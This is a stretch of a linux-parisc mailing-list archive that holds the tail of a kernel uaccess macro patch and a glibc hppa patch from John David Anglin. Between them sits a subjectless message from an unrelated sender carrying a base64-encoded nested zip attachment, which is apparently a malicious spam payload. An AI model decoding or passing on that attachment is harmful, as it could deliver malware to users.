 		" mtsp %0,%%sr2\n\t"		\
 		: : "r"(get_fs()) : )
 
-#define __get_user(x, ptr)                               \
-({                                                       \
-	register long __gu_err __asm__ ("r8") = 0;       \
-	register long __gu_val;				 \
-							 \
-	load_sr2();					 \
-	switch (sizeof(*(ptr))) {			 \
-	    case 1: __get_user_asm("ldb", ptr); break;   \
-	    case 2: __get_user_asm("ldh", ptr); break;   \
-	    case 4: __get_user_asm("ldw", ptr); break;   \
-	    case 8: LDD_USER(ptr);  break;		 \
-	    default: BUILD_BUG(); break;		 \
-	}                                                \
-							 \
-	(x) = (__force __typeof__(*(ptr))) __gu_val;	 \
-	__gu_err;                                        \
+#define __get_user_internal(val, ptr)			\
+({							\
+	register long __gu_err __asm__ ("r8") = 0;	\
+							\
+	switch (sizeof(*(ptr))) {			\
+	case 1: __get_user_asm(val, "ldb", ptr); break;	\
+	case 2: __get_user_asm(val, "ldh", ptr); break; \
+	case 4: __get_user_asm(val, "ldw", ptr); break; \
+	case 8: LDD_USER(val, ptr); break;		\
+	default: BUILD_BUG();				\
+	}						\
+							\
+	__gu_err;					\
 })
 
-#define __get_user_asm(ldx, ptr)                        \
+#define __get_user(val, ptr)				\
+({							\
+	load_sr2();					\
+	__get_user_internal(val, ptr);			\
+})
+
+#define __get_user_asm(val, ldx, ptr)			\
+{							\
+	register long __gu_val;				\
+							\
 	__asm__("1: " ldx " 0(%%sr2,%2),%0\n"		\
 		"9:\n"					\
 		ASM_EXCEPTIONTABLE_ENTRY_EFAULT(1b, 9b)	\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
-		: "r"(ptr), "1"(__gu_err));
+		: "r"(ptr), "1"(__gu_err));		\
+							\
+	(val) = (__force __typeof__(*(ptr))) __gu_val;	\
+}
 
 #if !defined(CONFIG_64BIT)
 
-#define __get_user_asm64(ptr) 				\
+#define __get_user_asm64(val, ptr)			\
+{							\
+	union {						\
+		unsigned long long	l;		\
+		__typeof__(*(ptr))	t;		\
+	} __gu_tmp;					\
+							\
 	__asm__("   copy %%r0,%R0\n"			\
 		"1: ldw 0(%%sr2,%2),%0\n"		\
 		"2: ldw 4(%%sr2,%2),%R0\n"		\
 		"9:\n"					\
 		ASM_EXCEPTIONTABLE_ENTRY_EFAULT(1b, 9b)	\
 		ASM_EXCEPTIONTABLE_ENTRY_EFAULT(2b, 9b)	\
-		: "=r"(__gu_val), "=r"(__gu_err)	\
-		: "r"(ptr), "1"(__gu_err));
+		: "=&r"(__gu_tmp.l), "=r"(__gu_err)	\
+		: "r"(ptr), "1"(__gu_err));		\
+							\
+	(val) = __gu_tmp.t;				\
+}
 
 #endif /* !defined(CONFIG_64BIT) */
 
 
-#define __put_user(x, ptr)                                      \
+#define __put_user_internal(x, ptr)				\
 ({								\
 	register long __pu_err __asm__ ("r8") = 0;      	\
         __typeof__(*(ptr)) __x = (__typeof__(*(ptr)))(x);	\
 								\
-	load_sr2();						\
 	switch (sizeof(*(ptr))) {				\
-	    case 1: __put_user_asm("stb", __x, ptr); break;     \
-	    case 2: __put_user_asm("sth", __x, ptr); break;     \
-	    case 4: __put_user_asm("stw", __x, ptr); break;     \
-	    case 8: STD_USER(__x, ptr); break;			\
-	    default: BUILD_BUG(); break;			\
-	}                                                       \
+	case 1: __put_user_asm("stb", __x, ptr); break;		\
+	case 2: __put_user_asm("sth", __x, ptr); break;		\
+	case 4: __put_user_asm("stw", __x, ptr); break;		\
+	case 8: STD_USER(__x, ptr); break;			\
+	default: BUILD_BUG();					\
+	}							\
 								\
 	__pu_err;						\
 })
 
+#define __put_user(x, ptr)					\
+({								\
+	load_sr2();						\
+	__put_user_internal(x, ptr);				\
+})
+
+
 /*
  * The "__put_user/kernel_asm()" macros tell gcc they read from memory
  * instead of writing. This is because they do not write to any memory
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: <askeeta@canadiannorth.com>
Newsgroups: gmane.linux.ports.parisc
Subject: (unknown)
Date: Sun, 16 Apr 2017 17:41:33 -0000
Lines: 41
Approved: news@gmane.org
Message-ID: <149236449322.21744.18021803007436683437@tvactiete.com.br>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: application/zip; name="EMAIL_52728_linux-parisc.zip"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1492364499 24373 195.159.176.226 (16 Apr 2017 17:41:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 16 Apr 2017 17:41:39 +0000 (UTC)
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 16 19:41:35 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1czoB5-0006En-2w
	for glpp-linux-parisc@m.gmane.org; Sun, 16 Apr 2017 19:41:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756595AbdDPRlk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 16 Apr 2017 13:41:40 -0400
Original-Received: from 201-148-118-95.tvactiete.com.br ([201.148.118.95]:51938 "HELO
        tvactiete.com.br" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
        with SMTP id S1756567AbdDPRlk (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 16 Apr 2017 13:41:40 -0400
X-Greylist: delayed 300 seconds by postgrey-1.27 at vger.kernel.org; Sun, 16 Apr 2017 13:41:39 EDT
Original-Subject: 
Importance: High
Content-Disposition: attachment
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27397
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27397>

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
t9IBUEsFBgAAAAABAAEAWwAAAHMHAAAAAA==
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Sun, 16 Apr 2017 15:22:25 -0400
Lines: 1589
Approved: news@gmane.org
Message-ID: <8EE30EB4-8EB3-420C-A955-721764F223C1@bell.net>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee> <9B251251-04AB-4D78-ADD7-F0D429DEB761@bell.net> <20170401183717.jpvilw2u4lgiceuv@raspberrypi-3.musicnaut.iki.fi> <2241815.7QkIsKQeSs@daneel.sf-tec.de> <20170401191023.xpf32zopaecd7dzy@raspberrypi-3.musicnaut.iki.fi> <59CDF2DE-076C-4BC0-8381-CE31A2AA8F56@bell.net> <20170402191245.odedqsqcx2cp5xtt@raspberrypi-3.musicnaut.iki.fi> <9978E89C-A7D6-4ED2-9751-69CA148505E3@bell.net> <076425B0-DC96-4309-95D3-50E5941452A3@bell.net> <6c7c6e7be105acd09fafdcdbcce4a08f@sf-tec.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-63-814753771
X-Trace: blaine.gmane.org 1492370551 8477 195.159.176.226 (16 Apr 2017 19:22:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 16 Apr 2017 19:22:31 +0000 (UTC)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>, Meelis Roos <mroos@linux.ee>,
        linux-parisc@vger.kernel.org, linux-parisc-owner@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 16 21:22:24 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1czpke-0004ea-0F
	for glpp-linux-parisc@m.gmane.org; Sun, 16 Apr 2017 21:22:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932128AbdDPTWa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 16 Apr 2017 15:22:30 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:58725 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S932077AbdDPTW1 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 16 Apr 2017 15:22:27 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20170416192225.ZJLH656.mtlfep01.bell.net@mtlspm02.bell.net>;
          Sun, 16 Apr 2017 15:22:25 -0400
Original-Received: from [192.168.2.10] (really [69.158.172.43]) by mtlspm02.bell.net
          with ESMTP
          id <20170416192225.CBNW6763.mtlspm02.bell.net@[192.168.2.10]>;
          Sun, 16 Apr 2017 15:22:25 -0400
In-Reply-To: <6c7c6e7be105acd09fafdcdbcce4a08f@sf-tec.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=D8KoErZj c=1 sm=0 tr=0 a=MCnG2Shyl1iix8vyRwff9w==:17 a=AzvcPWV-tVgA:10 a=CCpqsmhAAAAA:8 a=FBHGMhGWAAAA:8 a=7qIyJUUjsrheP7J98F0A:9 a=CjuIK1q_8ugA:10 a=1m50C6tDvDEA:10 a=lzDhS8hmAAAA:8 a=mDV3o1hIAAAA:8 a=hxGhHl1hI7u5Wfq4RM0A:9 a=9j8I1vbjWJ3jwRzW:21 a=nvA3PoywQxRJC9K-:21 a=TdN7U5H745d8w7Hl:21 a=Ld372NDzu18A:10 a=ul9cdbp4aOFLsgKbc677:22 a=9gvnlMMaQFpL9xblJ6ne:22 a=rigQk1bY_8VmChEzA3fK:22 a=_FVE-zBwftR9WsbkzFJk:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27398
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27398>


--Apple-Mail-63-814753771
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

On 2017-04-11, at 9:57 AM, Rolf Eike Beer wrote:

> Am 2017-04-11 14:01, schrieb John David Anglin:
>> On 2017-04-05, at 7:03 PM, John David Anglin wrote:
>>> Attached is my latest patch for glibc trunk on hppa.  =
sysdeps/hppa/fpu/libm-test-ulps is updated with new
>>> ulps values.  sysdeps/hppa/dl-fptr.c b/sysdeps/hppa/dl-fptr.c is =
updated because define for ALIGN_UP
>>> moved.
>> Latest patch set adds v3 version of pthread_cond_t patch and fixes
>> nptl/tst-typesizes.
>=20
> +	  char *new_guard =3D (char *) (((uintptr_t) pd - guardsize) & =
~pagesize_m1);
> +	  char *old_guard =3D (char *) (((uintptr_t) pd - pd->guardsize) =
& ~pagesize_m1);
>=20
> Why cast this to char* at all? Just use the uintptr_t numbers for the =
compare.

"old_guard" needs to be a page aligned pointer in the call to mprotect.  =
After doing the alignments, we
are left with integer values.  We could remove the casts in the above =
lines and add a cast in the call
to mprotect, but then new_guard and old_guard would become unsigned =
long.  So, the lines are about
the same length.

I did review the patch and found that the compare was reversed, so the =
call to mprotect was always
being skipped.

I submitted the revised change to the glibc list:
https://sourceware.org/ml/libc-alpha/2017-04/msg00269.html

Dave
--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-63-814753771
Content-Disposition: attachment;
	filename=glibc-20170415.d.txt
Content-Type: text/plain;
	name="glibc-20170415.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/elf/Makefile b/elf/Makefile
index cc4aeb25b6..883dd8f013 100644
--- a/elf/Makefile
+++ b/elf/Makefile
@@ -543,7 +543,7 @@ CFLAGS-ldconfig.c =3D $(SYSCONF-FLAGS) =
-D'LIBDIR=3D"$(libdir)"' \
 libof-ldconfig =3D ldconfig
 CFLAGS-dl-cache.c =3D $(SYSCONF-FLAGS)
 CFLAGS-cache.c =3D $(SYSCONF-FLAGS)
-CFLAGS-rtld.c =3D $(SYSCONF-FLAGS)
+CFLAGS-rtld.c +=3D $(SYSCONF-FLAGS)
=20
 cpp-srcs-left :=3D $(all-rtld-routines:=3D.os)
 lib :=3D rtld
diff --git a/nptl/allocatestack.c b/nptl/allocatestack.c
index e5c5f79a82..b3e0e9959f 100644
--- a/nptl/allocatestack.c
+++ b/nptl/allocatestack.c
@@ -647,8 +647,12 @@ allocate_stack (const struct pthread_attr *attr, =
struct pthread **pdp,
 			prot) !=3D 0)
 	    goto mprot_error;
 #elif _STACK_GROWS_UP
-	  if (mprotect ((char *) pd - pd->guardsize,
-			pd->guardsize - guardsize, prot) !=3D 0)
+	  char *new_guard =3D (char *)(((uintptr_t) pd - guardsize) & =
~pagesize_m1);
+	  char *old_guard =3D (char *)(((uintptr_t) pd - pd->guardsize) =
& ~pagesize_m1);
+	  /* The guard size difference might be > 0, but once rounded
+	     to the nearest page the size difference might be zero.  */
+	  if (new_guard > old_guard
+	      && mprotect (old_guard, new_guard - old_guard, prot) !=3D =
0)
 	    goto mprot_error;
 #endif
=20
diff --git a/resolv/res_mkquery.c b/resolv/res_mkquery.c
index 8279d15de4..d8d955ba33 100644
--- a/resolv/res_mkquery.c
+++ b/resolv/res_mkquery.c
@@ -83,6 +83,15 @@
 # define RANDOM_BITS(Var) { uint64_t v64; HP_TIMING_NOW (v64); Var =3D =
v64; }
 #endif
=20
+/* The structure HEADER is normally aligned to a word boundary and its
+   fields are accessed using word loads and stores.  We need to access
+   this structure when it is aligned on a byte boundary.  This can =
cause
+   problems on machines with strict alignment.  So, we create a new
+   typedef to reduce its alignment to one.  This ensures the fields are
+   accessed with byte loads and stores.  */
+typedef HEADER __attribute__ ((__aligned__(1))) UHEADER;
+#define HEADER UHEADER
+
 /*
  * Form all types of queries.
  * Returns the size of the result or -1.
diff --git a/resolv/res_query.c b/resolv/res_query.c
index ec65bab041..0140ffb156 100644
--- a/resolv/res_query.c
+++ b/resolv/res_query.c
@@ -80,6 +80,14 @@
 #include <string.h>
 #include <resolv/resolv-internal.h>
=20
+/* The structure HEADER is normally aligned to a word boundary and its
+   fields are accessed using word loads and stores.  We need to access=20=

+   this structure when it is aligned on a byte boundary.  This can =
cause
+   problems on machines with strict alignment.  So, we create a new
+   typedef to reduce its alignment to one.  This ensures the fields are
+   accessed with byte loads and stores.  */
+typedef HEADER __attribute__ ((__aligned__(1))) UHEADER;
+
 /* Options.  Leave them on. */
 /* #undef DEBUG */
=20
@@ -119,8 +127,8 @@ __libc_res_nquery(res_state statp,
 		  int *resplen2,
 		  int *answerp2_malloced)
 {
-	HEADER *hp =3D (HEADER *) answer;
-	HEADER *hp2;
+	UHEADER *hp =3D (UHEADER *) answer;
+	UHEADER *hp2;
 	int n, use_malloc =3D 0;
=20
 	size_t bufsize =3D (type =3D=3D T_QUERY_A_AND_AAAA ? 2 : 1) * =
QUERYSIZE;
@@ -237,7 +245,7 @@ __libc_res_nquery(res_state statp,
=20
 	if (answerp !=3D NULL)
 	  /* __libc_res_nsend might have reallocated the buffer.  */
-	  hp =3D (HEADER *) *answerp;
+	  hp =3D (UHEADER *) *answerp;
=20
 	/* We simplify the following tests by assigning HP to HP2 or
 	   vice versa.  It is easy to verify that this is the same as
@@ -248,7 +256,7 @@ __libc_res_nquery(res_state statp,
 	  }
 	else
 	  {
-	    hp2 =3D (HEADER *) *answerp2;
+	    hp2 =3D (UHEADER *) *answerp2;
 	    if (n < (int) sizeof (HEADER))
 	      {
 	        hp =3D hp2;
@@ -338,7 +346,7 @@ __libc_res_nsearch(res_state statp,
 		   int *answerp2_malloced)
 {
 	const char *cp, * const *domain;
-	HEADER *hp =3D (HEADER *) answer;
+	UHEADER *hp =3D (UHEADER *) answer;
 	char tmp[NS_MAXDNAME];
 	u_int dots;
 	int trailing_dot, ret, saved_herrno;
diff --git a/resolv/res_send.c b/resolv/res_send.c
index ffb9a6af7b..264cc96eaf 100644
--- a/resolv/res_send.c
+++ b/resolv/res_send.c
@@ -110,6 +110,15 @@
 #include <kernel-features.h>
 #include <libc-diag.h>
=20
+/* The structure HEADER is normally aligned to a word boundary and its
+   fields are accessed using word loads and stores.  We need to access=20=

+   this structure when it is aligned on a byte boundary.  This can =
cause
+   problems on machines with strict alignment.  So, we create a new
+   typedef to reduce its alignment to one.  This ensures the fields are
+   accessed with byte loads and stores.  */
+typedef HEADER __attribute__ ((__aligned__(1))) UHEADER;
+#define HEADER UHEADER
+
 #if PACKETSZ > 65536
 #define MAXPACKET       PACKETSZ
 #else
diff --git a/sysdeps/hppa/Makefile b/sysdeps/hppa/Makefile
index c0edb99917..64af43b5ff 100644
--- a/sysdeps/hppa/Makefile
+++ b/sysdeps/hppa/Makefile
@@ -23,6 +23,7 @@ LDFLAGS-c_pic.os +=3D -Wl,--unique=3D.text*
=20
 ifeq ($(subdir),elf)
 CFLAGS-rtld.c +=3D -mdisable-fpregs
+CFLAGS-dl-reloc.c +=3D --param inline-unit-growth=3D100
 sysdep-dl-routines +=3D dl-symaddr dl-fptr
 # dl-fptr.c needs a complete rewrite to fix ISO C aliasing violations.
 CFLAGS-dl-fptr.c =3D -Wno-error
diff --git a/sysdeps/hppa/__longjmp.c b/sysdeps/hppa/__longjmp.c
index a7eefc7ad6..438db01473 100644
--- a/sysdeps/hppa/__longjmp.c
+++ b/sysdeps/hppa/__longjmp.c
@@ -24,15 +24,16 @@
 void
 __longjmp (__jmp_buf env, int val)
 {
+#ifdef CHECK_SP
+  CHECK_SP (env[0].__jmp_buf.__sp);
+#endif
+
+  {
   /* We must use one of the non-callee saves registers
      for env.  */
   register unsigned long r26 asm ("r26") =3D (unsigned long)&env[0];
   register unsigned long r25 asm ("r25") =3D (unsigned long)(val =3D=3D =
0 ? 1 : val);
=20
-#ifdef CHECK_SP
-  CHECK_SP (env[0].__jmp_buf.__sp);
-#endif
-
   asm volatile(
 	/* Set return value.  */
 	"copy	%0, %%r28\n\t"
@@ -79,6 +80,8 @@ __longjmp (__jmp_buf env, int val)
 	: /* No outputs.  */
 	: "r" (r25), "r" (r26)
 	: /* No point in clobbers.  */ );
+  }
+
   /* Avoid `volatile function does return' warnings.  */
   for (;;);
 }
diff --git a/sysdeps/hppa/crti.S b/sysdeps/hppa/crti.S
index 7c1470ddf8..0f9bb7b013 100644
--- a/sysdeps/hppa/crti.S
+++ b/sysdeps/hppa/crti.S
@@ -49,6 +49,95 @@
 # define PREINIT_FUNCTION_WEAK 1
 #endif
=20
+#if PREINIT_FUNCTION_WEAK
+	weak_extern (PREINIT_FUNCTION)
+#else
+	.hidden PREINIT_FUNCTION
+#endif
+
+
+/* If we have working .init_array support, we want to keep the .init
+   section empty (apart from the mandatory prologue/epilogue.  This
+   ensures that the default unwind conventions (return-pointer in b0,
+   frame state in ar.pfs, etc.)  will do the Right Thing.  To ensure
+   an empty .init section, we register gmon_initializer() via the
+   .init_array.
+
+    --davidm 02/10/29 */
+
+#if PREINIT_FUNCTION_WEAK
+/* This blob of assembly code is one simple C function:
+
+static void
+__attribute__ ((used))
+gmon_initializer (void)
+{
+  extern void weak_function __gmon_start__ (void);
+
+  if (__gmon_start__)
+    (*__gmon_start__)();
+}
+
+In a final executable, PLABEL32 relocations for function pointers are
+resolved at link time.  Typically, binutils/ld resolves __gmon_start__
+using an external shared library.  __gmon_start__ is always called if
+it is found at link time.  If __gmon_start__ is not found at runtime
+due to a library update, then the function pointer will point at a null
+function descriptor and calling it will cause a segmentation fault.
+So, we call __canonicalize_funcptr_for_compare to obtain the =
canonicalized
+address of __gmon_start__ and skip calling __gmon_start__ if it is =
zero.
+
+ */
+	.type __canonicalize_funcptr_for_compare,@function
+	.type $$dyncall,@function
+
+	.section .data.rel.ro,"aw",@progbits
+	.align 4
+.LC0:
+	.type __gmon_start__,@function
+	.word P%__gmon_start__
+
+	.text
+	.align 4
+	.type gmon_initializer,@function
+gmon_initializer:
+	.PROC
+	.CALLINFO FRAME=3D64,CALLS,SAVE_RP,ENTRY_GR=3D4
+	.ENTRY
+	stw %r2,-20(%r30)
+	stwm %r4,64(%r30)
+	stw %r3,-60(%r30)
+	addil LT'.LC0,%r19
+	ldw RT'.LC0(%r1),%r28
+	ldw 0(%r28),%r3
+	comib,=3D 0,%r3,1f
+	copy %r19,%r4
+	stw %r19,-32(%r30)
+	bl __canonicalize_funcptr_for_compare,%r2
+	copy %r3,%r26
+	comib,=3D 0,%r28,1f
+	copy %r4,%r19
+	copy %r3,%r22
+	.CALL ARGW0=3DGR
+	bl $$dyncall,%r31
+	copy %r31,%r2
+1:
+	ldw -84(%r30),%r2
+	ldw -60(%r30),%r3
+	bv %r0(%r2)
+	ldwm -64(%r30),%r4
+	.EXIT
+	.PROCEND
+	.size gmon_initializer, .-gmon_initializer
+
+# undef PREINIT_FUNCTION
+# define PREINIT_FUNCTION gmon_initializer
+#endif
+
+	.section .init_array, "aw"
+	.word P% PREINIT_FUNCTION
+
+
 /* _init prologue.  */
 	.section .init, "ax", %progbits
 	.align 4
@@ -58,14 +147,6 @@ _init:
 	stw	%rp,-20(%sp)
 	stwm	%r4,64(%sp)
 	stw	%r19,-32(%sp)
-#if PREINIT_FUNCTION_WEAK
-	bl	PREINIT_FUNCTION,%rp
-	copy	%r19,%r4	/* delay slot */
-#else
-	bl	PREINIT_FUNCTION,%rp
-	copy	%r19,%r4	/* delay slot */
-#endif
-	copy	%r4,%r19
=20
 /* _fini prologue.  */
         .section .fini,"ax",%progbits
diff --git a/sysdeps/hppa/crtn.S b/sysdeps/hppa/crtn.S
index 42f310d217..49666b81f9 100644
--- a/sysdeps/hppa/crtn.S
+++ b/sysdeps/hppa/crtn.S
@@ -38,27 +38,6 @@
 /* crtn.S puts function epilogues in the .init and .fini sections
    corresponding to the prologues in crti.S. */
=20
-/* Note that we cannot have a weak undefined __gmon_start__, because
-   that would require this to be PIC, and the linker is currently not
-   able to generate a proper procedure descriptor for _init.  Sad but
-   true.  Anyway, HPPA is one of those horrible architectures where
-   making the comparison and indirect call is quite expensive (see the
-   comment in sysdeps/generic/initfini.c). */
-        .text
-        .align 4
-        .weak   __gmon_start__
-        .type    __gmon_start__,@function
-__gmon_start__:
-	.proc
-	.callinfo
-	.entry
-        bv,n %r0(%r2)
-	.exit
-	.procend
-
-/* Here is the tail end of _init.  We put __gmon_start before this so
-   that the assembler creates the .PARISC.unwind section for us, ie.
-   with the right attributes.  */
 	.section .init, "ax", @progbits
 	ldw	-84(%sp),%rp
 	copy	%r4,%r19
diff --git a/sysdeps/hppa/dl-fptr.c b/sysdeps/hppa/dl-fptr.c
index 83bdb91202..96fd09d192 100644
--- a/sysdeps/hppa/dl-fptr.c
+++ b/sysdeps/hppa/dl-fptr.c
@@ -28,6 +28,7 @@
 #include <dl-fptr.h>
 #include <dl-unmap-segments.h>
 #include <atomic.h>
+#include <libc-pointer-arith.h>
=20
 #ifndef ELF_MACHINE_BOOT_FPTR_TABLE_LEN
 /* ELF_MACHINE_BOOT_FPTR_TABLE_LEN should be greater than the number of
@@ -181,24 +182,29 @@ make_fdesc (ElfW(Addr) ip, ElfW(Addr) gp)
 static inline ElfW(Addr) * __attribute__ ((always_inline))
 make_fptr_table (struct link_map *map)
 {
-  const ElfW(Sym) *symtab
-    =3D (const void *) D_PTR (map, l_info[DT_SYMTAB]);
+  const ElfW(Sym) *symtab =3D (const void *) D_PTR (map, =
l_info[DT_SYMTAB]);
   const char *strtab =3D (const void *) D_PTR (map, l_info[DT_STRTAB]);
   ElfW(Addr) *fptr_table;
   size_t size;
   size_t len;
+  const ElfW(Sym) *symtabend;
=20
-  /* XXX Apparently the only way to find out the size of the dynamic
-     symbol section is to assume that the string table follows right
-     afterwards...  */
